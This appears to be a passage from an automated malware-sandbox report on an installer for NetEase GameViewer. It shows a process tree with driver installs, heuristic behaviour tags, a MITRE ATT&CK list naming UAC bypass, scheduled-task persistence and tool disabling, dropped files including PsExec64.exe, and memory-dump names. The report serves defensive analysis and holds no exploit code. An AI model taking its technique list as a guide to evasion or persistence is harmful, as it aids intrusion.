--initial-client-data=0x368,0x36c,0x370,0x344,0x374,0x7ff7a4ca84f0,0x7ff7a4ca8510,0x7ff7a4ca85282⤵
- Executes dropped EXE
-
-
C:\Program Files\Netease\GameViewer\bin\GameViewer.exe--auto-run source=cmd.exe 4B6671A6-B8EA-4597-A9B7-3EFA8575855F2⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
-
-
C:\Windows\system32\ctfmon.exe/QuitInfo:000000000000018C;0000000000000174;1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{1294c045-fc7f-6244-8a6c-614a63c33cd8}\gvinput.inf" "9" "493cd0cb7" "0000000000000188" "WinSta0\Default" "0000000000000178" "208" "c:\program files\netease\gameviewer\bin\drivers\gvinput"1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "1" "c:\program files\netease\gameviewer\bin\drivers\vigembus\vigembus.inf" "9" "429a86e87" "000000000000019C" "WinSta0\Default" "0000000000000184" "208" "c:\program files\netease\gameviewer\bin\drivers\vigembus"1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\SYSTEM\0001" "C:\Windows\System32\DriverStore\FileRepository\vigembus.inf_amd64_bde72e7428095b1a\vigembus.inf" "oem2.inf:c14ce88408607219:ViGEmBus_Device:1.21.442.0:nefarius\vigembus\gen1," "429a86e87" "000000000000016C" "242a"1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\HIDCLASS\0000" "C:\Windows\System32\DriverStore\FileRepository\gvinput.inf_amd64_352d93f0e668e5ae\gvinput.inf" "oem1.inf:c14ce88455082ae6:gvinput_Device:14.47.46.114:netease\gvinput," "493cd0cb7" "00000000000001A4" "242a"1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{0edfa3a5-a12a-bf42-97e3-99234ff02fe6}\gvinputmf.inf" "9" "42b2ce62f" "0000000000000198" "WinSta0\Default" "00000000000001A0" "208" "c:\program files\netease\gameviewer\bin\drivers\gvinput"1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "HID\GVINPUT&COL01\1&2D595CA7&0&0000" "C:\Windows\System32\DriverStore\FileRepository\gvinputmf.inf_amd64_f0f84eb242464baf\gvinputmf.inf" "oem3.inf:c14ce88497f8c81f:gvinputmf_Inst:14.48.53.76:hid\gvinput&col01," "42b2ce62f" "0000000000000178" "242a"1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
C:\Program Files\Common Files\microsoft shared\ink\TabTip.exe/QuitInfo:00000000000002B8;00000000000002B4;1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\MOUSE\0000" "C:\Windows\System32\DriverStore\FileRepository\gvinputmf.inf_amd64_f0f84eb242464baf\gvinputmf.inf" "oem3.inf:c14ce88497f8c81f:gvinputmf_Inst:14.48.53.76:hid\gvinput&col01," "42b2ce62f" "00000000000001C4" "242a"1⤵
- Drops file in Drivers directory
- Drops file in Windows directory
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "1" "c:\program files\netease\gameviewer\bin\drivers\gamevieweridddriver\gamevieweridddriver.inf" "9" "4e733d0a7" "000000000000016C" "WinSta0\Default" "00000000000001C4" "208" "c:\program files\netease\gameviewer\bin\drivers\gamevieweridddriver"1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\DISPLAY\0000" "C:\Windows\System32\DriverStore\FileRepository\gamevieweridddriver.inf_amd64_9586929572de2d1b\gamevieweridddriver.inf" "oem4.inf:c14ce8840c48fa1f:MyDevice_Install_WIN11:15.6.5.199:root\gamevieweridddriver," "4e733d0a7" "000000000000016C" "242a"1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Local\iusb3mon.exe"C:\Users\Admin\AppData\Local\iusb3mon.exe"1⤵
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1File Deletion
1Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
GameViewerHealthd.exe
GameViewerLauncher.exe
GameViewerServer.exe
GameViewerService.exe
MicrosoftEdgeWebview2Setup.exe
Nevaudiosdk.dll
PsExec64.exe
Qt5Core.dll
Qt5Gui.dll
Qt5Network.dll
Qt5Svg.dll
Qt5Widgets.dll
Qt5WinExtras.dll
Qt5Xml.dll
StreamerCodecDetector.exe
Uninstall.exe
Upgrade.exe
WebView2Loader.dll
XInput9_1_0.dll
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-multibyte-l1-1-0.dll
api-ms-win-crt-private-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
aria2c.exe
cleanup_utils.exe
comctl32.dll
concrt140.dll
conpty_bridge.exe
crashpad_handler.exe
d3dcompiler_47.dll
GameViewerIddDriver.dll
devcon.exe
WdfCoInstaller01009.dll
libcrypto-3-x64.dll
libssl-3-x64.dll
msvcp140.dll
msvcp140_1.dll
msvcp140_2.dll
nemu-api.dll
nrd_renderer_ipc.dll
qgif.dll
qicns.dll
qico.dll
qjpeg.dll
qsvg.dll
qtga.dll
qtiff.dll
qwbmp.dll
qwebp.dll
qdirect2d.dll
qminimal.dll
qoffscreen.dll
qwebgl.dll
qwindows.dll
remote-nemu-api.dll
streamer.dll
ucrtbase.dll
uuyc-cli.exe
uuycmgr.exe
vccorlib140.dll
vcruntime140.dll
vcruntime140_1.dll
QtLGPL3License.txt
GameViewerIddDriver.cat
GameViewerIddDriver.inf
ViGEmBus.cat
ViGEmBus.inf
ViGEmBus.sys
nevaudio.cat
nevaudio.inf
nevaudio.sys
gvinput.cat
gvinput.inf
gvinput.sys
gvinputmf.cat
gvinputmf.inf
gvinputmf.sys
error.html
uuycbridge.js
cloud-device-skeleton-d2289c20.webp
index.html
consumption-record-skeleton-5b434114.webp
index.html
consumption-record-skeleton-5b434114.webp
index.html
consumption-record-skeleton-5b434114.webp
index.html
skeletondefault.html
gdstrings.ini
gdstrings.ini
licenses.txt
client.json
cloud_desktop_menu.xml
cloud_new_menu.xml
code.json
desktop_mac_menu.xml
desktop_menu.xml
help_menu.xml
new_menu.xml
remote_refresh_menu.xml
remote_verify_type_menu.xml
screen_menu.xml
second_screen_menu.xml
server.json
streamer-config.json
webviewhost.tlb
__sentry-event
settings.dat
remote_assist_code.ini
user_info.ini
setting_guest_anonymous_id.ini
settings.dat
settings.dat
the-real-index
the-real-index~RFe5aa809.TMP
MANIFEST-000001
Network Persistent State
Network Persistent State~RFe5b57e0.TMP
SCT Auditing Pending Reports
Preferences
Preferences
Preferences~RFe5a8696.TMP
000001.dbtmp
data_0
data_1
data_2
data_3
Local State
Local State
Local State
Local State
Local State~RFe5a2f10.TMP
ziliao.jpg
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
240746250_wd.xml
__PSScriptPolicyTest_plp1smlb.i2l.ps1
irsetup.exe
lua5.3.dll
AccessControl.dll
LogEx.dll
ShellExecAsUser.dll
SimpleSC.dll
System.dll
UURemoteHelper.dll
modern-wizard.bmp
nsDialogs.dll
nsProcess.dll
iusb3mon.exe
gamevieweridddriver.inf_amd64_9586929572de2d1b.ini
gvinput.inf_amd64_352d93f0e668e5ae.ini
gvinputmf.inf_amd64_f0f84eb242464baf.ini
vigembus.inf_amd64_bde72e7428095b1a.ini
memory/1204-5564-0x00007FFA83A50000-0x00007FFA83F9E000-memory.dmp
memory/1204-5566-0x00007FF61DBD0000-0x00007FF6222BB000-memory.dmp
memory/1892-87-0x0000000000C50000-0x0000000000C58000-memory.dmp
memory/1892-167-0x0000000000C50000-0x0000000000C58000-memory.dmp
memory/1976-147-0x0000000002E10000-0x0000000002F2C000-memory.dmp
memory/1976-3534-0x000000001DB00000-0x000000001DC1C000-memory.dmp
memory/2632-56-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-61-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-79-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-78-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-76-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-71-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-69-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-53-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-88-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-158-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-72-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-374-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-1871-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-98-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-105-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-55-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-58-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-75-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-65-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-59-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-60-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-57-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-99-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-62-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-64-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-63-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-52-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-54-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-50-0x0000000000110000-0x000000000015D000-memory.dmp
memory/2632-70-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-101-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2632-103-0x0000000000830000-0x0000000000919000-memory.dmp
memory/2644-5565-0x00007FFA83A50000-0x00007FFA83F9E000-memory.dmp
memory/2644-5567-0x00007FF61DBD0000-0x00007FF6222BB000-memory.dmp
memory/2656-197-0x0000000070740000-0x000000007078C000-memory.dmp
memory/3560-142-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-132-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-131-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-136-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-134-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-143-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-133-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-141-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-138-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-140-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-137-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-139-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-130-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3560-135-0x0000000000FE0000-0x00000000010C9000-memory.dmp
memory/3684-19-0x0000021EC2930000-0x0000021EC2952000-memory.dmp
memory/3684-24-0x0000021EC29D0000-0x0000021EC29DA000-memory.dmp
memory/3684-23-0x0000021EC2A10000-0x0000021EC2AC2000-memory.dmp
memory/3684-22-0x0000021EC29F0000-0x0000021EC2A0E000-memory.dmp
memory/4456-102-0x0000000005FC0000-0x000000000600C000-memory.dmp
memory/4456-160-0x00000000064A0000-0x00000000064BA000-memory.dmp
memory/4456-86-0x00000000059E0000-0x0000000005A46000-memory.dmp
memory/4456-85-0x0000000005970000-0x00000000059D6000-memory.dmp
memory/4456-163-0x0000000007890000-0x0000000007E4A000-memory.dmp
memory/4456-100-0x0000000005FA0000-0x0000000005FBE000-memory.dmp
memory/4456-83-0x00000000051B0000-0x00000000057FA000-memory.dmp
memory/4456-91-0x0000000005A50000-0x0000000005DAB000-memory.dmp
memory/4456-84-0x0000000005800000-0x0000000005822000-memory.dmp
memory/4456-161-0x00000000070F0000-0x0000000007112000-memory.dmp
memory/4456-159-0x0000000007230000-0x00000000072C6000-memory.dmp
memory/4476-378-0x0000000070740000-0x000000007078C000-memory.dmp
memory/4704-9-0x00007FF7F3700000-0x00007FF7F3EE3000-memory.dmp
memory/4704-107-0x00007FF7F3700000-0x00007FF7F3EE3000-memory.dmp
memory/4704-97-0x00007FF7F3700000-0x00007FF7F3EE3000-memory.dmp
memory/4948-82-0x0000000002C30000-0x0000000002C66000-memory.dmp
memory/4948-192-0x0000000007870000-0x000000000787A000-memory.dmp
memory/4948-164-0x0000000070740000-0x000000007078C000-memory.dmp
memory/4948-169-0x00000000075F0000-0x0000000007610000-memory.dmp
memory/4948-170-0x0000000007660000-0x0000000007703000-memory.dmp
memory/4948-173-0x0000000007E40000-0x00000000084BC000-memory.dmp
memory/4948-162-0x0000000007610000-0x0000000007646000-memory.dmp
memory/6192-5865-0x0000023925FF0000-0x000002392601A000-memory.dmp
memory/6192-5782-0x00007FFAA63F0000-0x00007FFAA63F1000-memory.dmp
memory/6360-5783-0x00007FFAA63F0000-0x00007FFAA63F1000-memory.dmp
memory/7000-5979-0x0000000001130000-0x0000000001219000-memory.dmp
memory/7000-5977-0x0000000001130000-0x0000000001219000-memory.dmp
memory/7000-5978-0x0000000001130000-0x0000000001219000-memory.dmp
memory/7000-5976-0x0000000001130000-0x0000000001219000-memory.dmp
memory/7000-5974-0x0000000001130000-0x0000000001219000-memory.dmp
memory/7000-5973-0x0000000001130000-0x0000000001219000-memory.dmp
memory/7092-5842-0x0000024179180000-0x000002417919E000-memory.dmp
memory/7092-5841-0x0000024178C30000-0x0000024178CE2000-memory.dmp